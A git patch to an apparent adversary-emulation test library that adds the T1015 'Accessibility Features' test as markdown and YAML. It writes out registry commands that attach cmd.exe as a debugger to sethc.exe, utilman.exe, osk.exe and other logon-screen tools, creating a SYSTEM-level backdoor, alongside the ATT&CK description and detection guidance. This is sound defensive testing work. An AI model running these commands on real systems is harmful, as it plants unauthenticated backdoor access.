From d95bd17977a73aee4cfc2fca471b93d78ba14b3c Mon Sep 17 00:00:00 2001 From: caseysmithrc <30840394+caseysmithrc@users.noreply.github.com> Date: Wed, 23 May 2018 21:11:00 -0600 Subject: [PATCH] T1015 - Accesibility Features --- Windows/Persistence/Accessibility_Features.md | 31 ----------- atomics/T1015/T1015.md | 55 +++++++++++++++++++ atomics/T1015/T1015.yaml | 21 +++++++ atomics/index.md | 6 +- atomics/matrix.md | 2 +- 5 files changed, 81 insertions(+), 34 deletions(-) delete mode 100644 Windows/Persistence/Accessibility_Features.md create mode 100644 atomics/T1015/T1015.md create mode 100644 atomics/T1015/T1015.yaml diff --git a/Windows/Persistence/Accessibility_Features.md b/Windows/Persistence/Accessibility_Features.md deleted file mode 100644 index 42625417..00000000 --- a/Windows/Persistence/Accessibility_Features.md +++ /dev/null @@ -1,31 +0,0 @@ -## Accessibility Features - -MITRE ATT&CK Technique: [T1015](https://attack.mitre.org/wiki/Technique/T1015) - -### osk.exe swap - - reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f - -### sethc.exe swap - - REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f - -### utilman.exe swap - - REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f - -### magnify.exe swap - - REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f - -### narrator.exe swap - - REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f - -### DisplaySwitch.exe swap - - REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f - -### AtBroker.exe swap - - REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AtBroker.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f diff --git a/atomics/T1015/T1015.md b/atomics/T1015/T1015.md new file mode 100644 index 00000000..f2e51cc5 --- /dev/null +++ b/atomics/T1015/T1015.md @@ -0,0 +1,55 @@ +# T1015 - Accessibility Features +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1015) +
Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. + +Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit) + +Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods: + +For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) + +For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) + +Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys) + +*On-Screen Keyboard: C:\Windows\System32\osk.exe +*Magnifier: C:\Windows\System32\Magnify.exe +*Narrator: C:\Windows\System32\Narrator.exe +*Display Switcher: C:\Windows\System32\DisplaySwitch.exe +*App Switcher: C:\Windows\System32\AtBroker.exe + +Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. + +Platforms: Windows + +Data Sources: Windows Registry, File monitoring, Process monitoring + +Effective Permissions: SYSTEM + +Permissions Required: Administrator + +Contributors: Paul Speulstra, AECOM Global Security Operations Center
+ +## Atomic Tests + +- [Atomic Test #1 - Attaches Command Prompt As Debugger To Process](#atomic-test-1---attaches-command-prompt-as-debugger-to-process) + + +
+ +## Atomic Test #1 - Attaches Command Prompt As Debugger To Process +This allows adversaries to execute the attached process + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| target_executable | File You Want To Attach To | String | osk.exe| + +#### Run it with `command_prompt`! +``` +reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f +``` +
diff --git a/atomics/T1015/T1015.yaml b/atomics/T1015/T1015.yaml new file mode 100644 index 00000000..ed86a572 --- /dev/null +++ b/atomics/T1015/T1015.yaml @@ -0,0 +1,21 @@ +--- +attack_technique: T1015 +display_name: Accessibility Features + +atomic_tests: +- name: Attaches Command Prompt As Debugger To Process + description: | + This allows adversaries to execute the attached process + + supported_platforms: + - windows + input_arguments: + target_executable: + description: File You Want To Attach To + type: String + default: osk.exe + + executor: + name: command_prompt + command: | + reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f diff --git a/atomics/index.md b/atomics/index.md index a80d3e11..e7c9d982 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -1,6 +1,7 @@ # persistence - [T1156 .bash_profile and .bashrc](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1015 Accessibility Features](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1015 Accessibility Features](./T1015/T1015.md) + - Atomic Test #1: Attaches Command Prompt As Debugger To Process - [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim @@ -169,7 +170,8 @@ # privilege-escalation - [T1134 Access Token Manipulation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1015 Accessibility Features](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1015 Accessibility Features](./T1015/T1015.md) + - Atomic Test #1: Attaches Command Prompt As Debugger To Process - [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim diff --git a/atomics/matrix.md b/atomics/matrix.md index 9adcad48..83f9f1a8 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -1,7 +1,7 @@ | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| | [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [AppleScript](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [.bash_profile and .bashrc](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Access Token Manipulation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Access Token Manipulation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Account Manipulation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Accessibility Features](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [BITS Jobs](./T1197/T1197.md) | [Bash History](./T1139/T1139.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Automated Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | +| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Bash History](./T1139/T1139.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Automated Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Command-Line Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Staged](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Transfer Size Limits](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Application Shimming](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Alternative Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) |